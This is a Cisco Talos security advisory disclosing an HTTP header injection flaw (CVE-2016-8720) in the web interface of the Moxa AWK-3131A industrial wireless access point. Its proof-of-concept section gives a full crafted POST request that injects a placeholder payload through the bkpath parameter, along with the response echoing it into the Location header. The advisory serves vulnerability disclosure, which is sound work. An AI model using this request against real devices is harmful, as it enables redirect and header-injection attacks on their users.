Headline
CVE-2016-8720: TALOS-2016-0234 || Cisco Talos Intelligence Group
An exploitable HTTP Header Injection vulnerability exists in the Web Application functionality of the Moxa AWK-3131A Wireless Access Point running firmware 1.1. A specially crafted HTTP request can inject a payload in the bkpath parameter which will be copied in to Location header of the HTTP response.
Summary
An exploitable HTTP Header Injection vulnerability exists in the Web Application functionality of the Moxa AWK-3131A Wireless Access Point running firmware 1.1. A specially crafted HTTP request can inject a payload in the bkpath parameter which will be copied in to Location header of the HTTP response.
Tested Versions
Moxa AWK-3131A Series Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client 1.1
Product URLs
http://www.moxa.com/product/AWK-3131A.htm
CVSSv3 Score
3.1 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N
Details
An exploitable HTTP Header Injection vulnerability exists in the Web Application functionality of Moxa AWK-3131A Series Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client. A specially crafted HTTP request can inject a payload in the bkpath parameter which will be copied in to Location header of the HTTP response. This vulnerability can be exploited in order to execute a variety of other attacks.
Exploit Proof-of-Concept
Request POST /forms/iw_webSetParameters HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http:///time_set.asp Cookie: Password508= Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 486
iw_IWtime_timeZone=22&iw_IWtime_dstOnMonth=Oct.&iw_IWtime_dstOnWeekIndex=1st&iw_IWtime_dstOnWeekDay=Sun.&iw_IWtime_dstOnTrigHour=00&iw_IWtime_dstOnTrigMin=00&iw_IWtime_dstOffMonth=Oct.&iw_IWtime_dstOffWeekIndex=Last&iw_IWtime_dstOffWeekDay=Sun.&iw_IWtime_dstOffTrigHour=00&iw_IWtime_dstOffTrigMin=00&iw_IWtime_dstOffsetTime=%2B01%3A00&iw_IWtime_firstTimeSrv=time.nist.gov&iw_IWtime_secondTimeSrv=&iw_IWtime_queryPeriod=600&Submit=Submit&bkpath=EVIL_INJECTION&iw_IWtime_dstEnable=DISABLE
Response HTTP/1.0 302 Redirect Server: GoAhead-Webs Date: Mon Oct 31 17:33:45 2016 Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Expires: -1 Content-Type: text/html Location: http:///EVIL_INJECTION
<html><head></head><body>
..This document has moved to a new <a href="http://<device IP>/EVIL_INJECTION">location</a>.
..Please update your documents to reflect the new location.
..</body></html>
Mitigation
To significantly mitigate risk of exploitation, disable the web application before the device is deployed.
Timeline
2016-11-14 - Vendor Disclosure
2017-04-10 - Public Release
Discovered by Patrick DeSantis of Cisco Talos.